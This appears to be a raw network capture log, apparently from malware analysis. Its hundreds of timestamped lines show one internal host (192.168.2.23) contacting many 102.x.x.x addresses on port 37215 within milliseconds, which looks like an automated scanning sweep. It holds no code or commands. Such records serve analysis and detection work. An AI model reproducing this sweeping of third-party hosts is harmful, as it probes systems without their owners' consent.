Feb 20, 2022 16:02:45.648266077 CET	27221	37215	192.168.2.23	102.24.156.179
Feb 20, 2022 16:02:45.648273945 CET	27221	37215	192.168.2.23	102.141.227.88
Feb 20, 2022 16:02:45.648320913 CET	27221	37215	192.168.2.23	102.183.135.182
Feb 20, 2022 16:02:45.648369074 CET	27221	37215	192.168.2.23	102.247.74.155
Feb 20, 2022 16:02:45.648392916 CET	27221	37215	192.168.2.23	102.83.221.129
Feb 20, 2022 16:02:45.648420095 CET	27221	37215	192.168.2.23	102.180.69.149
Feb 20, 2022 16:02:45.648463011 CET	27221	37215	192.168.2.23	102.22.81.178
Feb 20, 2022 16:02:45.648497105 CET	27221	37215	192.168.2.23	102.144.37.158
Feb 20, 2022 16:02:45.648536921 CET	27221	37215	192.168.2.23	102.44.187.149
Feb 20, 2022 16:02:45.648618937 CET	27221	37215	192.168.2.23	102.151.182.21
Feb 20, 2022 16:02:45.648648977 CET	27221	37215	192.168.2.23	102.239.137.39
Feb 20, 2022 16:02:45.648685932 CET	27221	37215	192.168.2.23	102.31.205.229
Feb 20, 2022 16:02:45.648715973 CET	27221	37215	192.168.2.23	102.113.31.253
Feb 20, 2022 16:02:45.648776054 CET	27221	37215	192.168.2.23	102.132.61.163
Feb 20, 2022 16:02:45.648797989 CET	27221	37215	192.168.2.23	102.206.197.49
Feb 20, 2022 16:02:45.648832083 CET	27221	37215	192.168.2.23	102.192.199.94
Feb 20, 2022 16:02:45.648842096 CET	27221	37215	192.168.2.23	102.81.79.115
Feb 20, 2022 16:02:45.648881912 CET	27221	37215	192.168.2.23	102.197.223.18
Feb 20, 2022 16:02:45.648956060 CET	27221	37215	192.168.2.23	102.250.211.179
Feb 20, 2022 16:02:45.648957014 CET	27221	37215	192.168.2.23	102.213.38.199
Feb 20, 2022 16:02:45.648994923 CET	27221	37215	192.168.2.23	102.184.92.192
Feb 20, 2022 16:02:45.649084091 CET	27221	37215	192.168.2.23	102.227.32.237
Feb 20, 2022 16:02:45.649123907 CET	27221	37215	192.168.2.23	102.159.187.218
Feb 20, 2022 16:02:45.649141073 CET	27221	37215	192.168.2.23	102.106.165.140
Feb 20, 2022 16:02:45.649188042 CET	27221	37215	192.168.2.23	102.74.157.113
Feb 20, 2022 16:02:45.649192095 CET	27221	37215	192.168.2.23	102.173.94.81
Feb 20, 2022 16:02:45.649282932 CET	27221	37215	192.168.2.23	102.35.88.22
Feb 20, 2022 16:02:45.649301052 CET	27221	37215	192.168.2.23	102.178.180.32
Feb 20, 2022 16:02:45.649338961 CET	27221	37215	192.168.2.23	102.245.224.13
Feb 20, 2022 16:02:45.649353981 CET	27221	37215	192.168.2.23	102.10.237.14
Feb 20, 2022 16:02:45.649379969 CET	27221	37215	192.168.2.23	102.214.56.128
Feb 20, 2022 16:02:45.649422884 CET	27221	37215	192.168.2.23	102.153.3.237
Feb 20, 2022 16:02:45.649456978 CET	27221	37215	192.168.2.23	102.250.187.193
Feb 20, 2022 16:02:45.649492025 CET	27221	37215	192.168.2.23	102.8.168.71
Feb 20, 2022 16:02:45.649537086 CET	27221	37215	192.168.2.23	102.23.99.88
Feb 20, 2022 16:02:45.649605989 CET	27221	37215	192.168.2.23	102.192.86.229
Feb 20, 2022 16:02:45.649624109 CET	27221	37215	192.168.2.23	102.47.24.67
Feb 20, 2022 16:02:45.649643898 CET	27221	37215	192.168.2.23	102.16.197.161
Feb 20, 2022 16:02:45.649717093 CET	27221	37215	192.168.2.23	102.195.5.3
Feb 20, 2022 16:02:45.649792910 CET	27221	37215	192.168.2.23	102.155.66.46
Feb 20, 2022 16:02:45.649795055 CET	27221	37215	192.168.2.23	102.22.177.228
Feb 20, 2022 16:02:45.649867058 CET	27221	37215	192.168.2.23	102.224.230.182
Feb 20, 2022 16:02:45.649869919 CET	27221	37215	192.168.2.23	102.148.198.130
Feb 20, 2022 16:02:45.649883032 CET	27221	37215	192.168.2.23	102.77.237.181
Feb 20, 2022 16:02:45.649951935 CET	27221	37215	192.168.2.23	102.26.99.178
Feb 20, 2022 16:02:45.649966955 CET	27221	37215	192.168.2.23	102.192.237.2
Feb 20, 2022 16:02:45.649966955 CET	27221	37215	192.168.2.23	102.159.205.166
Feb 20, 2022 16:02:45.650051117 CET	27221	37215	192.168.2.23	102.92.220.30
Feb 20, 2022 16:02:45.650079012 CET	27221	37215	192.168.2.23	102.84.72.18
Feb 20, 2022 16:02:45.650120974 CET	27221	37215	192.168.2.23	102.16.74.104
Feb 20, 2022 16:02:45.650122881 CET	27221	37215	192.168.2.23	102.95.126.63
Feb 20, 2022 16:02:45.650161982 CET	27221	37215	192.168.2.23	102.38.87.237
Feb 20, 2022 16:02:45.650243044 CET	27221	37215	192.168.2.23	102.237.174.250
Feb 20, 2022 16:02:45.650311947 CET	27221	37215	192.168.2.23	102.183.155.164
Feb 20, 2022 16:02:45.650355101 CET	27221	37215	192.168.2.23	102.193.119.112
Feb 20, 2022 16:02:45.650369883 CET	27221	37215	192.168.2.23	102.50.73.229
Feb 20, 2022 16:02:45.650430918 CET	27221	37215	192.168.2.23	102.137.32.52
Feb 20, 2022 16:02:45.650434017 CET	27221	37215	192.168.2.23	102.229.65.88
Feb 20, 2022 16:02:45.650435925 CET	27221	37215	192.168.2.23	102.145.104.167
Feb 20, 2022 16:02:45.650485992 CET	27221	37215	192.168.2.23	102.84.183.51
Feb 20, 2022 16:02:45.650537014 CET	27221	37215	192.168.2.23	102.17.147.44
Feb 20, 2022 16:02:45.650580883 CET	27221	37215	192.168.2.23	102.35.139.49
Feb 20, 2022 16:02:45.650600910 CET	27221	37215	192.168.2.23	102.12.115.223
Feb 20, 2022 16:02:45.650639057 CET	27221	37215	192.168.2.23	102.210.34.111
Feb 20, 2022 16:02:45.650691986 CET	27221	37215	192.168.2.23	102.155.55.76
Feb 20, 2022 16:02:45.650707960 CET	27221	37215	192.168.2.23	102.58.148.151
Feb 20, 2022 16:02:45.650737047 CET	27221	37215	192.168.2.23	102.207.71.231
Feb 20, 2022 16:02:45.650785923 CET	27221	37215	192.168.2.23	102.28.29.250
Feb 20, 2022 16:02:45.650804043 CET	27221	37215	192.168.2.23	102.236.106.118
Feb 20, 2022 16:02:45.650847912 CET	27221	37215	192.168.2.23	102.224.16.110
Feb 20, 2022 16:02:45.650917053 CET	27221	37215	192.168.2.23	102.78.71.253
Feb 20, 2022 16:02:45.650928974 CET	27221	37215	192.168.2.23	102.32.49.131
Feb 20, 2022 16:02:45.650963068 CET	27221	37215	192.168.2.23	102.105.71.158
Feb 20, 2022 16:02:45.651002884 CET	27221	37215	192.168.2.23	102.124.139.145
Feb 20, 2022 16:02:45.651038885 CET	27221	37215	192.168.2.23	102.55.127.91
Feb 20, 2022 16:02:45.651077986 CET	27221	37215	192.168.2.23	102.39.87.9
Feb 20, 2022 16:02:45.651190042 CET	27221	37215	192.168.2.23	102.166.124.178
Feb 20, 2022 16:02:45.651199102 CET	27221	37215	192.168.2.23	102.190.70.234
Feb 20, 2022 16:02:45.651268005 CET	27221	37215	192.168.2.23	102.153.175.236
Feb 20, 2022 16:02:45.651268005 CET	27221	37215	192.168.2.23	102.55.249.105
Feb 20, 2022 16:02:45.651273012 CET	27221	37215	192.168.2.23	102.105.157.55
Feb 20, 2022 16:02:45.651321888 CET	27221	37215	192.168.2.23	102.147.114.212
Feb 20, 2022 16:02:45.651386976 CET	27221	37215	192.168.2.23	102.18.226.78
Feb 20, 2022 16:02:45.651417017 CET	27221	37215	192.168.2.23	102.201.10.78
Feb 20, 2022 16:02:45.651421070 CET	27221	37215	192.168.2.23	102.164.119.192
Feb 20, 2022 16:02:45.651499987 CET	27221	37215	192.168.2.23	102.116.28.60
Feb 20, 2022 16:02:45.651509047 CET	27221	37215	192.168.2.23	102.83.12.237
Feb 20, 2022 16:02:45.651560068 CET	27221	37215	192.168.2.23	102.59.190.1
Feb 20, 2022 16:02:45.651576996 CET	27221	37215	192.168.2.23	102.18.226.1
Feb 20, 2022 16:02:45.651618004 CET	27221	37215	192.168.2.23	102.68.92.83
Feb 20, 2022 16:02:45.651655912 CET	27221	37215	192.168.2.23	102.75.35.138
Feb 20, 2022 16:02:45.651695967 CET	27221	37215	192.168.2.23	102.241.61.233
Feb 20, 2022 16:02:45.651736021 CET	27221	37215	192.168.2.23	102.164.15.254
Feb 20, 2022 16:02:45.651807070 CET	27221	37215	192.168.2.23	102.159.206.240
Feb 20, 2022 16:02:45.651818991 CET	27221	37215	192.168.2.23	102.20.0.57
Feb 20, 2022 16:02:45.651844978 CET	27221	37215	192.168.2.23	102.71.57.112
Feb 20, 2022 16:02:45.651889086 CET	27221	37215	192.168.2.23	102.27.28.128
Feb 20, 2022 16:02:45.651953936 CET	27221	37215	192.168.2.23	102.232.24.67
Feb 20, 2022 16:02:45.651958942 CET	27221	37215	192.168.2.23	102.197.243.114
Feb 20, 2022 16:02:45.652014017 CET	27221	37215	192.168.2.23	102.86.163.44
Feb 20, 2022 16:02:45.652081013 CET	27221	37215	192.168.2.23	102.124.235.78
Feb 20, 2022 16:02:45.652122974 CET	27221	37215	192.168.2.23	102.158.206.108
Feb 20, 2022 16:02:45.652123928 CET	27221	37215	192.168.2.23	102.60.185.11
Feb 20, 2022 16:02:45.652184963 CET	27221	37215	192.168.2.23	102.115.90.179
Feb 20, 2022 16:02:45.652204037 CET	27221	37215	192.168.2.23	102.203.224.102
Feb 20, 2022 16:02:45.652223110 CET	27221	37215	192.168.2.23	102.134.21.175
Feb 20, 2022 16:02:45.652271986 CET	27221	37215	192.168.2.23	102.12.113.181
Feb 20, 2022 16:02:45.652306080 CET	27221	37215	192.168.2.23	102.92.91.33
Feb 20, 2022 16:02:45.652353048 CET	27221	37215	192.168.2.23	102.92.146.66
Feb 20, 2022 16:02:45.652422905 CET	27221	37215	192.168.2.23	102.207.26.52
Feb 20, 2022 16:02:45.652461052 CET	27221	37215	192.168.2.23	102.169.188.111
Feb 20, 2022 16:02:45.652479887 CET	27221	37215	192.168.2.23	102.192.136.202
Feb 20, 2022 16:02:45.652539015 CET	27221	37215	192.168.2.23	102.131.214.74
Feb 20, 2022 16:02:45.652545929 CET	27221	37215	192.168.2.23	102.145.189.0
Feb 20, 2022 16:02:45.652570009 CET	27221	37215	192.168.2.23	102.125.253.175
Feb 20, 2022 16:02:45.652620077 CET	27221	37215	192.168.2.23	102.107.87.25
Feb 20, 2022 16:02:45.652688026 CET	27221	37215	192.168.2.23	102.205.8.40
Feb 20, 2022 16:02:45.652690887 CET	27221	37215	192.168.2.23	102.100.143.116
Feb 20, 2022 16:02:45.652729988 CET	27221	37215	192.168.2.23	102.206.126.174
Feb 20, 2022 16:02:45.652767897 CET	27221	37215	192.168.2.23	102.131.175.108
Feb 20, 2022 16:02:45.652803898 CET	27221	37215	192.168.2.23	102.191.20.78
Feb 20, 2022 16:02:45.652839899 CET	27221	37215	192.168.2.23	102.225.5.109
Feb 20, 2022 16:02:45.652879953 CET	27221	37215	192.168.2.23	102.127.237.169
Feb 20, 2022 16:02:45.652930975 CET	27221	37215	192.168.2.23	102.165.58.170
Feb 20, 2022 16:02:45.652950048 CET	27221	37215	192.168.2.23	102.34.179.109
Feb 20, 2022 16:02:45.652993917 CET	27221	37215	192.168.2.23	102.77.14.126
Feb 20, 2022 16:02:45.653032064 CET	27221	37215	192.168.2.23	102.149.92.2
Feb 20, 2022 16:02:45.653114080 CET	27221	37215	192.168.2.23	102.128.255.90
Feb 20, 2022 16:02:45.653114080 CET	27221	37215	192.168.2.23	102.131.159.43
Feb 20, 2022 16:02:45.653197050 CET	27221	37215	192.168.2.23	102.58.53.12
Feb 20, 2022 16:02:45.653208017 CET	27221	37215	192.168.2.23	102.143.98.66
Feb 20, 2022 16:02:45.653223991 CET	27221	37215	192.168.2.23	102.112.26.60
Feb 20, 2022 16:02:45.653256893 CET	27221	37215	192.168.2.23	102.114.118.78
Feb 20, 2022 16:02:45.653295040 CET	27221	37215	192.168.2.23	102.58.181.200
Feb 20, 2022 16:02:45.653337002 CET	27221	37215	192.168.2.23	102.33.191.214
Feb 20, 2022 16:02:45.653372049 CET	27221	37215	192.168.2.23	102.153.62.133
Feb 20, 2022 16:02:45.653448105 CET	27221	37215	192.168.2.23	102.24.86.225
Feb 20, 2022 16:02:45.653449059 CET	27221	37215	192.168.2.23	102.186.204.180
Feb 20, 2022 16:02:45.653516054 CET	27221	37215	192.168.2.23	102.82.79.40
Feb 20, 2022 16:02:45.653539896 CET	27221	37215	192.168.2.23	102.93.238.96
Feb 20, 2022 16:02:45.653599024 CET	27221	37215	192.168.2.23	102.116.184.132
Feb 20, 2022 16:02:45.653604984 CET	27221	37215	192.168.2.23	102.178.147.198
Feb 20, 2022 16:02:45.653639078 CET	27221	37215	192.168.2.23	102.49.117.151
Feb 20, 2022 16:02:45.653718948 CET	27221	37215	192.168.2.23	102.87.29.14
Feb 20, 2022 16:02:45.653718948 CET	27221	37215	192.168.2.23	102.96.90.186
Feb 20, 2022 16:02:45.653790951 CET	27221	37215	192.168.2.23	102.135.83.26
Feb 20, 2022 16:02:45.653835058 CET	27221	37215	192.168.2.23	102.20.147.196
Feb 20, 2022 16:02:45.653837919 CET	27221	37215	192.168.2.23	102.109.85.51
Feb 20, 2022 16:02:45.653904915 CET	27221	37215	192.168.2.23	102.254.153.56
Feb 20, 2022 16:02:45.653915882 CET	27221	37215	192.168.2.23	102.149.251.195
Feb 20, 2022 16:02:45.653969049 CET	27221	37215	192.168.2.23	102.6.207.120
Feb 20, 2022 16:02:45.654000998 CET	27221	37215	192.168.2.23	102.197.162.85
Feb 20, 2022 16:02:45.654057026 CET	27221	37215	192.168.2.23	102.196.196.28
Feb 20, 2022 16:02:45.654069901 CET	27221	37215	192.168.2.23	102.65.143.90
Feb 20, 2022 16:02:45.654092073 CET	27221	37215	192.168.2.23	102.4.214.231
Feb 20, 2022 16:02:45.654145956 CET	27221	37215	192.168.2.23	102.143.247.239
Feb 20, 2022 16:02:45.654210091 CET	27221	37215	192.168.2.23	102.101.125.1
Feb 20, 2022 16:02:45.654285908 CET	27221	37215	192.168.2.23	102.114.176.210
Feb 20, 2022 16:02:45.654289007 CET	27221	37215	192.168.2.23	102.73.187.202
Feb 20, 2022 16:02:45.654309988 CET	27221	37215	192.168.2.23	102.58.9.122
Feb 20, 2022 16:02:45.654324055 CET	27221	37215	192.168.2.23	102.21.166.243
Feb 20, 2022 16:02:45.654366970 CET	27221	37215	192.168.2.23	102.54.241.216
Feb 20, 2022 16:02:45.654397964 CET	27221	37215	192.168.2.23	102.87.102.153
Feb 20, 2022 16:02:45.654445887 CET	27221	37215	192.168.2.23	102.110.22.82
Feb 20, 2022 16:02:45.654474974 CET	27221	37215	192.168.2.23	102.41.50.225
Feb 20, 2022 16:02:45.654535055 CET	27221	37215	192.168.2.23	102.124.202.13
Feb 20, 2022 16:02:45.654552937 CET	27221	37215	192.168.2.23	102.125.56.8
Feb 20, 2022 16:02:45.654630899 CET	27221	37215	192.168.2.23	102.91.73.226
Feb 20, 2022 16:02:45.654632092 CET	27221	37215	192.168.2.23	102.130.128.203
Feb 20, 2022 16:02:45.654706955 CET	27221	37215	192.168.2.23	102.220.225.33
Feb 20, 2022 16:02:45.654714108 CET	27221	37215	192.168.2.23	102.69.199.24
Feb 20, 2022 16:02:45.654781103 CET	27221	37215	192.168.2.23	102.117.78.119
Feb 20, 2022 16:02:45.654786110 CET	27221	37215	192.168.2.23	102.192.156.116
Feb 20, 2022 16:02:45.654828072 CET	27221	37215	192.168.2.23	102.104.200.47
Feb 20, 2022 16:02:45.654896975 CET	27221	37215	192.168.2.23	102.109.124.153
Feb 20, 2022 16:02:45.654898882 CET	27221	37215	192.168.2.23	102.161.9.122
Feb 20, 2022 16:02:45.655018091 CET	27221	37215	192.168.2.23	102.174.50.236
Feb 20, 2022 16:02:45.655035019 CET	27221	37215	192.168.2.23	102.137.171.178
Feb 20, 2022 16:02:45.655045033 CET	27221	37215	192.168.2.23	102.36.6.127
Feb 20, 2022 16:02:45.655056953 CET	27221	37215	192.168.2.23	102.126.188.74
Feb 20, 2022 16:02:45.655124903 CET	27221	37215	192.168.2.23	102.133.113.221
Feb 20, 2022 16:02:45.655147076 CET	27221	37215	192.168.2.23	102.242.186.122
Feb 20, 2022 16:02:45.655205965 CET	27221	37215	192.168.2.23	102.57.123.214
Feb 20, 2022 16:02:45.655240059 CET	27221	37215	192.168.2.23	102.175.88.209
Feb 20, 2022 16:02:45.655280113 CET	27221	37215	192.168.2.23	102.33.112.91
Feb 20, 2022 16:02:45.655282021 CET	27221	37215	192.168.2.23	102.6.158.73
Feb 20, 2022 16:02:45.655390978 CET	27221	37215	192.168.2.23	102.217.89.147
Feb 20, 2022 16:02:45.655396938 CET	27221	37215	192.168.2.23	102.240.75.110
Feb 20, 2022 16:02:45.655441046 CET	27221	37215	192.168.2.23	102.71.90.30
Feb 20, 2022 16:02:45.655457973 CET	27221	37215	192.168.2.23	102.255.112.254
Feb 20, 2022 16:02:45.655471087 CET	27221	37215	192.168.2.23	102.194.26.50
Feb 20, 2022 16:02:45.655549049 CET	27221	37215	192.168.2.23	102.226.204.32
Feb 20, 2022 16:02:45.655597925 CET	27221	37215	192.168.2.23	102.3.75.191
Feb 20, 2022 16:02:45.655599117 CET	27221	37215	192.168.2.23	102.131.238.112
Feb 20, 2022 16:02:45.655639887 CET	27221	37215	192.168.2.23	102.25.143.246
Feb 20, 2022 16:02:45.655713081 CET	27221	37215	192.168.2.23	102.117.234.31
Feb 20, 2022 16:02:45.655728102 CET	27221	37215	192.168.2.23	102.22.74.119
Feb 20, 2022 16:02:45.655786991 CET	27221	37215	192.168.2.23	102.131.124.71
Feb 20, 2022 16:02:45.655826092 CET	27221	37215	192.168.2.23	102.216.21.172
Feb 20, 2022 16:02:45.655899048 CET	27221	37215	192.168.2.23	102.77.227.71
Feb 20, 2022 16:02:45.655899048 CET	27221	37215	192.168.2.23	102.166.208.187
Feb 20, 2022 16:02:45.655915022 CET	27221	37215	192.168.2.23	102.172.86.166
Feb 20, 2022 16:02:45.656014919 CET	27221	37215	192.168.2.23	102.247.129.86
Feb 20, 2022 16:02:45.656017065 CET	27221	37215	192.168.2.23	102.223.199.102
Feb 20, 2022 16:02:45.656039000 CET	27221	37215	192.168.2.23	102.204.193.218
Feb 20, 2022 16:02:45.656078100 CET	27221	37215	192.168.2.23	102.131.117.185
Feb 20, 2022 16:02:45.656085014 CET	27221	37215	192.168.2.23	102.203.147.254
Feb 20, 2022 16:02:45.656122923 CET	27221	37215	192.168.2.23	102.97.116.169
Feb 20, 2022 16:02:45.656163931 CET	27221	37215	192.168.2.23	102.84.219.230
Feb 20, 2022 16:02:45.656203985 CET	27221	37215	192.168.2.23	102.13.57.47
Feb 20, 2022 16:02:45.656260967 CET	27221	37215	192.168.2.23	102.23.170.30
Feb 20, 2022 16:02:45.656303883 CET	27221	37215	192.168.2.23	102.235.40.178
Feb 20, 2022 16:02:45.656316042 CET	27221	37215	192.168.2.23	102.148.178.189
Feb 20, 2022 16:02:45.656368017 CET	27221	37215	192.168.2.23	102.46.100.227
Feb 20, 2022 16:02:45.656404018 CET	27221	37215	192.168.2.23	102.253.205.66
Feb 20, 2022 16:02:45.656441927 CET	27221	37215	192.168.2.23	102.163.24.171
Feb 20, 2022 16:02:45.656474113 CET	27221	37215	192.168.2.23	102.29.137.68
Feb 20, 2022 16:02:45.656546116 CET	27221	37215	192.168.2.23	102.206.212.6
Feb 20, 2022 16:02:45.656563044 CET	27221	37215	192.168.2.23	102.247.89.67
Feb 20, 2022 16:02:45.656586885 CET	27221	37215	192.168.2.23	102.229.89.72
Feb 20, 2022 16:02:45.656630993 CET	27221	37215	192.168.2.23	102.149.188.45
Feb 20, 2022 16:02:45.656661987 CET	27221	37215	192.168.2.23	102.95.133.129
Feb 20, 2022 16:02:45.656701088 CET	27221	37215	192.168.2.23	102.122.26.84
Feb 20, 2022 16:02:45.656758070 CET	27221	37215	192.168.2.23	102.229.126.112
Feb 20, 2022 16:02:45.656809092 CET	27221	37215	192.168.2.23	102.73.151.91
Feb 20, 2022 16:02:45.656861067 CET	27221	37215	192.168.2.23	102.175.42.152
Feb 20, 2022 16:02:45.656892061 CET	27221	37215	192.168.2.23	102.231.8.170
Feb 20, 2022 16:02:45.656893015 CET	27221	37215	192.168.2.23	102.12.146.97
Feb 20, 2022 16:02:45.656965017 CET	27221	37215	192.168.2.23	102.250.104.141
Feb 20, 2022 16:02:45.656966925 CET	27221	37215	192.168.2.23	102.226.238.78
Feb 20, 2022 16:02:45.657005072 CET	27221	37215	192.168.2.23	102.146.110.92
Feb 20, 2022 16:02:45.657084942 CET	27221	37215	192.168.2.23	102.192.71.61
Feb 20, 2022 16:02:45.657087088 CET	27221	37215	192.168.2.23	102.129.236.65
Feb 20, 2022 16:02:45.657159090 CET	27221	37215	192.168.2.23	102.92.34.150
Feb 20, 2022 16:02:45.657164097 CET	27221	37215	192.168.2.23	102.175.94.36
Feb 20, 2022 16:02:45.657210112 CET	27221	37215	192.168.2.23	102.127.160.157
Feb 20, 2022 16:02:45.657241106 CET	27221	37215	192.168.2.23	102.90.168.145
Feb 20, 2022 16:02:45.657278061 CET	27221	37215	192.168.2.23	102.46.179.200
Feb 20, 2022 16:02:45.657310009 CET	27221	37215	192.168.2.23	102.11.98.100
Feb 20, 2022 16:02:45.657352924 CET	27221	37215	192.168.2.23	102.26.166.203
Feb 20, 2022 16:02:45.657392979 CET	27221	37215	192.168.2.23	102.7.98.97
Feb 20, 2022 16:02:45.657422066 CET	27221	37215	192.168.2.23	102.211.5.171
Feb 20, 2022 16:02:45.657464981 CET	27221	37215	192.168.2.23	102.109.147.142
Feb 20, 2022 16:02:45.657509089 CET	27221	37215	192.168.2.23	102.205.190.63
Feb 20, 2022 16:02:45.657565117 CET	27221	37215	192.168.2.23	102.49.105.17
Feb 20, 2022 16:02:45.657572985 CET	27221	37215	192.168.2.23	102.176.122.115
Feb 20, 2022 16:02:45.657608986 CET	27221	37215	192.168.2.23	102.152.2.26
Feb 20, 2022 16:02:45.657650948 CET	27221	37215	192.168.2.23	102.249.200.39
Feb 20, 2022 16:02:45.657727957 CET	27221	37215	192.168.2.23	102.183.168.252
Feb 20, 2022 16:02:45.657728910 CET	27221	37215	192.168.2.23	102.122.36.179
Feb 20, 2022 16:02:45.657767057 CET	27221	37215	192.168.2.23	102.87.225.175
Feb 20, 2022 16:02:45.657840967 CET	27221	37215	192.168.2.23	102.70.169.92
Feb 20, 2022 16:02:45.657845974 CET	27221	37215	192.168.2.23	102.159.53.194
Feb 20, 2022 16:02:45.657912016 CET	27221	37215	192.168.2.23	102.157.128.198
Feb 20, 2022 16:02:45.657953978 CET	27221	37215	192.168.2.23	102.20.242.142
Feb 20, 2022 16:02:45.657967091 CET	27221	37215	192.168.2.23	102.147.227.128
Feb 20, 2022 16:02:45.658035040 CET	27221	37215	192.168.2.23	102.76.48.165
Feb 20, 2022 16:02:45.658039093 CET	27221	37215	192.168.2.23	102.216.110.238
Feb 20, 2022 16:02:45.658102989 CET	27221	37215	192.168.2.23	102.154.118.155
Feb 20, 2022 16:02:45.658106089 CET	27221	37215	192.168.2.23	102.169.143.38
Feb 20, 2022 16:02:45.658174038 CET	27221	37215	192.168.2.23	102.197.85.13
Feb 20, 2022 16:02:45.658215046 CET	27221	37215	192.168.2.23	102.41.218.175
Feb 20, 2022 16:02:45.658219099 CET	27221	37215	192.168.2.23	102.134.99.133
Feb 20, 2022 16:02:45.658251047 CET	27221	37215	192.168.2.23	102.91.51.220
Feb 20, 2022 16:02:45.658291101 CET	27221	37215	192.168.2.23	102.206.44.51
Feb 20, 2022 16:02:45.658346891 CET	27221	37215	192.168.2.23	102.227.157.90
Feb 20, 2022 16:02:45.658412933 CET	27221	37215	192.168.2.23	102.229.102.92
Feb 20, 2022 16:02:45.658488035 CET	27221	37215	192.168.2.23	102.55.111.122
Feb 20, 2022 16:02:45.658535004 CET	27221	37215	192.168.2.23	102.121.200.96
Feb 20, 2022 16:02:45.658536911 CET	27221	37215	192.168.2.23	102.171.126.66
Feb 20, 2022 16:02:45.658566952 CET	27221	37215	192.168.2.23	102.214.37.35
Feb 20, 2022 16:02:45.658576965 CET	27221	37215	192.168.2.23	102.250.55.87
Feb 20, 2022 16:02:45.658610106 CET	27221	37215	192.168.2.23	102.143.93.136
Feb 20, 2022 16:02:45.658674955 CET	27221	37215	192.168.2.23	102.123.55.56
Feb 20, 2022 16:02:45.658716917 CET	27221	37215	192.168.2.23	102.28.206.209
Feb 20, 2022 16:02:45.658752918 CET	27221	37215	192.168.2.23	102.252.110.165
Feb 20, 2022 16:02:45.658797979 CET	27221	37215	192.168.2.23	102.155.48.195
Feb 20, 2022 16:02:45.658808947 CET	27221	37215	192.168.2.23	102.210.140.61
Feb 20, 2022 16:02:45.658830881 CET	27221	37215	192.168.2.23	102.32.254.56
Feb 20, 2022 16:02:45.658900976 CET	27221	37215	192.168.2.23	102.60.75.212
Feb 20, 2022 16:02:45.658910990 CET	27221	37215	192.168.2.23	102.30.155.214
Feb 20, 2022 16:02:45.658947945 CET	27221	37215	192.168.2.23	102.50.21.203
Feb 20, 2022 16:02:45.658977032 CET	27221	37215	192.168.2.23	102.74.57.165
Feb 20, 2022 16:02:45.659013987 CET	27221	37215	192.168.2.23	102.138.212.173
Feb 20, 2022 16:02:45.659050941 CET	27221	37215	192.168.2.23	102.66.154.27
Feb 20, 2022 16:02:45.659166098 CET	27221	37215	192.168.2.23	102.22.112.73
Feb 20, 2022 16:02:45.659204960 CET	27221	37215	192.168.2.23	102.111.226.61
Feb 20, 2022 16:02:45.659204960 CET	27221	37215	192.168.2.23	102.181.18.177
Feb 20, 2022 16:02:45.659240961 CET	27221	37215	192.168.2.23	102.208.20.67
Feb 20, 2022 16:02:45.659250975 CET	27221	37215	192.168.2.23	102.183.6.226
Feb 20, 2022 16:02:45.659286022 CET	27221	37215	192.168.2.23	102.5.207.114
Feb 20, 2022 16:02:45.659357071 CET	27221	37215	192.168.2.23	102.202.90.201
Feb 20, 2022 16:02:45.659370899 CET	27221	37215	192.168.2.23	102.187.59.63
Feb 20, 2022 16:02:45.659431934 CET	27221	37215	192.168.2.23	102.251.243.233
Feb 20, 2022 16:02:45.659432888 CET	27221	37215	192.168.2.23	102.56.94.139
Feb 20, 2022 16:02:45.659471989 CET	27221	37215	192.168.2.23	102.177.69.70
Feb 20, 2022 16:02:45.659548998 CET	27221	37215	192.168.2.23	102.17.20.210
Feb 20, 2022 16:02:45.659591913 CET	27221	37215	192.168.2.23	102.77.167.82
Feb 20, 2022 16:02:45.659596920 CET	27221	37215	192.168.2.23	102.53.34.135
Feb 20, 2022 16:02:45.659626961 CET	27221	37215	192.168.2.23	102.251.133.16
Feb 20, 2022 16:02:45.659666061 CET	27221	37215	192.168.2.23	102.82.151.95
Feb 20, 2022 16:02:45.659703970 CET	27221	37215	192.168.2.23	102.253.53.116
Feb 20, 2022 16:02:45.659739017 CET	27221	37215	192.168.2.23	102.155.163.14
Feb 20, 2022 16:02:45.659792900 CET	27221	37215	192.168.2.23	102.143.215.23
Feb 20, 2022 16:02:45.659853935 CET	27221	37215	192.168.2.23	102.83.228.53
Feb 20, 2022 16:02:45.659864902 CET	27221	37215	192.168.2.23	102.172.131.228
Feb 20, 2022 16:02:45.659924984 CET	27221	37215	192.168.2.23	102.50.246.228
Feb 20, 2022 16:02:45.659926891 CET	27221	37215	192.168.2.23	102.2.34.120
Feb 20, 2022 16:02:45.660000086 CET	27221	37215	192.168.2.23	102.49.151.187
Feb 20, 2022 16:02:45.660042048 CET	27221	37215	192.168.2.23	102.163.128.63
Feb 20, 2022 16:02:45.660048962 CET	27221	37215	192.168.2.23	102.200.187.220
Feb 20, 2022 16:02:45.660115957 CET	27221	37215	192.168.2.23	102.251.34.55
Feb 20, 2022 16:02:45.660137892 CET	27221	37215	192.168.2.23	102.177.115.254
Feb 20, 2022 16:02:45.660156965 CET	27221	37215	192.168.2.23	102.185.217.206
Feb 20, 2022 16:02:45.660191059 CET	27221	37215	192.168.2.23	102.125.64.240
Feb 20, 2022 16:02:45.660232067 CET	27221	37215	192.168.2.23	102.159.193.80
Feb 20, 2022 16:02:45.660268068 CET	27221	37215	192.168.2.23	102.225.244.128
Feb 20, 2022 16:02:45.660315037 CET	27221	37215	192.168.2.23	102.72.230.24
Feb 20, 2022 16:02:45.660351038 CET	27221	37215	192.168.2.23	102.74.200.46
Feb 20, 2022 16:02:45.660391092 CET	27221	37215	192.168.2.23	102.189.108.96
Feb 20, 2022 16:02:45.660458088 CET	27221	37215	192.168.2.23	102.75.87.245
Feb 20, 2022 16:02:45.660506010 CET	27221	37215	192.168.2.23	102.181.151.11
Feb 20, 2022 16:02:45.660537958 CET	27221	37215	192.168.2.23	102.13.167.20
Feb 20, 2022 16:02:45.660542011 CET	27221	37215	192.168.2.23	102.137.46.128
Feb 20, 2022 16:02:45.660613060 CET	27221	37215	192.168.2.23	102.186.85.115
Feb 20, 2022 16:02:45.660624027 CET	27221	37215	192.168.2.23	102.114.225.52
Feb 20, 2022 16:02:45.660660982 CET	27221	37215	192.168.2.23	102.129.194.194
Feb 20, 2022 16:02:45.660696983 CET	27221	37215	192.168.2.23	102.204.91.254
Feb 20, 2022 16:02:45.660731077 CET	27221	37215	192.168.2.23	102.41.166.200
Feb 20, 2022 16:02:45.660768986 CET	27221	37215	192.168.2.23	102.28.61.176
Feb 20, 2022 16:02:45.660851002 CET	27221	37215	192.168.2.23	102.60.29.96
Feb 20, 2022 16:02:45.660928011 CET	27221	37215	192.168.2.23	102.139.223.123
Feb 20, 2022 16:02:45.660958052 CET	27221	37215	192.168.2.23	102.182.87.145
